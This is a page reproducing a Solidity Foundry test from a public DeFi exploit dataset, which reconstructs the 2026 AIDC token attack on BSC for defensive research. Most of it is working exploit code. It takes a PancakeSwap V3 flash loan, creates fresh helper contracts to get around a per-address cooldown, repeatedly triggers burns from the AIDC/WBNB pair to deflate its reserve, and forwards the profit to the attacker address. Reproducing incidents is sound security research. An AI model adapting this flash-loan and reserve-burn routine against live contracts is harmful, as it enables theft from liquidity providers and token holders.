Public reproduction file
src/test/2026-06/AIDC_exp.sol
Public reproduction file for dataset entry AIDC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~220.13 WBNB8// Attacker : 0x89eb2c99e970d831525c7a52badc290afa116b639// Attack Contract : 0x26f625738019a1d710b074b23714d1538a151de410// Vulnerable Contract : 0x5021d71859f81b4c905b573591db8f9cc4a0c6fe11// Attack Tx : https://bscscan.com/tx/0x66960f7febf399fa8bd94904398f535c500f4f575dbf025de7b9ab450342645e13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x5021d71859f81b4c905b573591db8f9cc4a0c6fe#code16// @Analysis17// Twitter Guy : https://x.com/TenArmorAlert/status/207141591494868589218//19// Attack summary: repeated fresh helper sells set AIDC's accumulated burn, then router transfers trigger burns20// from the AIDC/WBNB pair and sync the pair at a deflated AIDC reserve.21// Root cause: AIDCToken lets ordinary transfers burn accumulated sell-side amounts directly from the AMM pair.23address constant ATTACKER = 0x89eb2C99E970d831525c7A52baDC290aFA116b63;24address constant ATTACK_CONTRACT = 0x26F625738019A1D710B074B23714D1538a151DE4;25address constant AIDC = 0x5021d71859F81B4c905b573591db8F9Cc4A0C6fe;26address constant AIDC_WBNB_PAIR = 0x2725033282b3bd4BE8873B7F0f622c18E3b7cbd8;27address payable constant PANCAKE_V2_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);28address constant PANCAKE_V3_FLASH_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;29address payable constant WBNB_TOKEN = payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);30address payable constant BUILDER_TIP_RECEIVER = payable(0x4848489f0b2BEdd788c696e2D79b6b69D7484848);32uint256 constant FORK_BLOCK = 106_926_103;33uint256 constant AIDC_REWARD_CLAIM_DUST = 0.000_01 ether;34uint256 constant FLASH_WBNB_AMOUNT = 200 ether;35uint256 constant INITIAL_BUY_BNB = 100 ether;36uint256 constant FINAL_BUILDER_TIP = 1 ether;37uint256 constant LOOP_COUNT = 13;38uint256 constant BPS_DENOMINATOR = 10_000;39uint256 constant AIDC_SELL_BURN_BPS = 3000;41contract ContractTest is BaseTestWithBalanceLog {42 AIDCExploit private exploit;44 function setUp() public {45 vm.createSelectFork("bsc", FORK_BLOCK);47 fundingToken = WBNB_TOKEN;48 attacker = ATTACKER;50 vm.label(ATTACKER, "Attacker");51 vm.label(ATTACK_CONTRACT, "Historical Attack Contract");52 vm.label(AIDC, "AIDCToken");53 vm.label(AIDC_WBNB_PAIR, "AIDC/WBNB Pair");54 vm.label(PANCAKE_V2_ROUTER, "Pancake V2 Router");55 vm.label(PANCAKE_V3_FLASH_POOL, "Pancake V3 USDT/WBNB Pool");56 vm.label(WBNB_TOKEN, "WBNB");58 exploit = new AIDCExploit();59 }61 function testExploit() public balanceLog {62 vm.deal(ATTACKER, 1 ether);64 // step 1: claim the historical root address' pending AIDC reward and seed the local exploit contract.65 vm.prank(ATTACKER, ATTACKER);66 (bool ok,) = AIDC.call{value: AIDC_REWARD_CLAIM_DUST}("");67 require(ok, "AIDC reward claim failed");69 uint256 claimedAidc = IERC20(AIDC).balanceOf(ATTACKER);70 vm.prank(ATTACKER);71 IERC20(AIDC).transfer(address(exploit), claimedAidc);73 // step 2: execute the reconstructed flash-loan reserve burn loop.74 exploit.start();76 assertGt(IERC20(WBNB_TOKEN).balanceOf(ATTACKER), 200 ether, "WBNB profit not reproduced");77 }78}80contract AIDCExploit {81 receive() external payable {}83 function start() external {84 IPancakeV3Pool(PANCAKE_V3_FLASH_POOL).flash(address(this), 0, FLASH_WBNB_AMOUNT, "");85 }87 function pancakeV3FlashCallback(88 uint256 fee0,89 uint256 fee1,90 bytes calldata91 ) external {92 require(msg.sender == PANCAKE_V3_FLASH_POOL, "unauthorized flash callback");93 require(fee0 == 0, "unexpected token0 fee");95 // step 3: unwrap half of the flash loan, then seed a tiny AIDC/WBNB LP position.96 IWBNB(WBNB_TOKEN).withdraw(INITIAL_BUY_BNB);97 seedLpWithClaimedAidc();98 uint256 lpStep = IPancakePair(AIDC_WBNB_PAIR).balanceOf(address(this)) / 1000;100 // step 4: buy AIDC to the router, then use the first LP removal to forward it back and trigger burn/sync.101 address[] memory buyPath = path(WBNB_TOKEN, AIDC);102 IUniswapV2Router(PANCAKE_V2_ROUTER).swapExactETHForTokensSupportingFeeOnTransferTokens{value: INITIAL_BUY_BNB}(103 0, buyPath, PANCAKE_V2_ROUTER, block.timestamp104 );105 removeLiquidity(lpStep);107 // step 5: fresh seller helpers bypass per-address cooldown while repeated burns shrink pair AIDC reserves.108 for (uint256 i; i < LOOP_COUNT; ++i) {109 AIDCSellHelper helper = new AIDCSellHelper();110 uint256 helperAmount = IERC20(AIDC).balanceOf(address(this));111 if (i == LOOP_COUNT - 1) {112 helperAmount = capFinalSell(helperAmount, lpStep);113 }114 IERC20(AIDC).transfer(address(helper), helperAmount);115 helper.sellToPair();116 IPancakePair(AIDC_WBNB_PAIR).skim(PANCAKE_V2_ROUTER);117 removeLiquidity(lpStep);118 }120 // step 6: final fresh helper swaps remaining AIDC to native BNB through Pancake V2.121 AIDCSellHelper finalSeller = new AIDCSellHelper();122 IERC20(AIDC).transfer(address(finalSeller), IERC20(AIDC).balanceOf(address(this)));123 finalSeller.swapAidcForBnb(address(this));125 // step 7: wrap proceeds, repay the flash loan plus fee, then forward profit to the attacker address.126 IWBNB(WBNB_TOKEN).deposit{value: address(this).balance}();127 IERC20(WBNB_TOKEN).transfer(PANCAKE_V3_FLASH_POOL, FLASH_WBNB_AMOUNT + fee1);129 IWBNB(WBNB_TOKEN).withdraw(FINAL_BUILDER_TIP);130 (bool sent,) = payable(BUILDER_TIP_RECEIVER).call{value: FINAL_BUILDER_TIP}("");131 require(sent, "builder tip failed");133 IERC20(WBNB_TOKEN).transfer(ATTACKER, IERC20(WBNB_TOKEN).balanceOf(address(this)));134 }136 function seedLpWithClaimedAidc() private {137 IPancakePair pair = IPancakePair(AIDC_WBNB_PAIR);138 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();140 IERC20(AIDC).transfer(AIDC_WBNB_PAIR, IERC20(AIDC).balanceOf(address(this)));142 uint256 aidcExcess = IERC20(AIDC).balanceOf(AIDC_WBNB_PAIR) - uint256(reserve0);143 uint256 wbnbSeed = aidcExcess * uint256(reserve1) / uint256(reserve0);144 IERC20(WBNB_TOKEN).transfer(AIDC_WBNB_PAIR, wbnbSeed);145 pair.mint(address(this));146 pair.approve(PANCAKE_V2_ROUTER, type(uint256).max);147 }149 function capFinalSell(150 uint256 availableAidc,151 uint256 lpStep152 ) private view returns (uint256) {153 IPancakePair pair = IPancakePair(AIDC_WBNB_PAIR);154 (uint112 aidcReserve,,) = pair.getReserves();156 uint256 reserveAfterLpRemoval = uint256(aidcReserve) - (uint256(aidcReserve) * lpStep / pair.totalSupply());157 uint256 maxSellBeforeEmptyReserve = (reserveAfterLpRemoval - 1) * BPS_DENOMINATOR / AIDC_SELL_BURN_BPS;158 return availableAidc < maxSellBeforeEmptyReserve ? availableAidc : maxSellBeforeEmptyReserve;159 }161 function removeLiquidity(162 uint256 lpAmount163 ) private {164 IUniswapV2Router(PANCAKE_V2_ROUTER)165 .removeLiquidityETHSupportingFeeOnTransferTokens(AIDC, lpAmount, 0, 0, address(this), block.timestamp);166 }168 function path(169 address tokenIn,170 address tokenOut171 ) private pure returns (address[] memory route) {172 route = new address[](2);173 route[0] = tokenIn;174 route[1] = tokenOut;175 }176}178contract AIDCSellHelper {179 receive() external payable {}181 function sellToPair() external {182 IERC20(AIDC).transfer(AIDC_WBNB_PAIR, IERC20(AIDC).balanceOf(address(this)));183 }185 function swapAidcForBnb(186 address receiver187 ) external {188 uint256 amountIn = IERC20(AIDC).balanceOf(address(this));189 IERC20(AIDC).approve(PANCAKE_V2_ROUTER, type(uint256).max);191 address[] memory path = new address[](2);192 path[0] = AIDC;193 path[1] = WBNB_TOKEN;194 IUniswapV2Router(PANCAKE_V2_ROUTER)195 .swapExactTokensForETHSupportingFeeOnTransferTokens(amountIn, 0, path, receiver, block.timestamp);196 }197}Analysis
Dataset entry
Public Foundry test for “AIDC” (2026-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x89eb2c99e970d831525c7a52badc290afa116b63
- Attack Contract
0x26f625738019a1d710b074b23714d1538a151de4
- Vulnerable Contract
0x5021d71859f81b4c905b573591db8f9cc4a0c6fe
- Attack Tx
0x66960f7febf399fa8bd94904398f535c500f4f575dbf025de7b9ab450342645e
File record
- Name
- AIDC
- Path
- src/test/2026-06/AIDC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 44d00c491a15205146c0238f76da8ed5500267ab
- Language
- Solidity
- Size
- 198 lines
- Date
- 2026-06-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/AIDC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 44d00c491a15205146c0238f76da8ed5500267ab, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.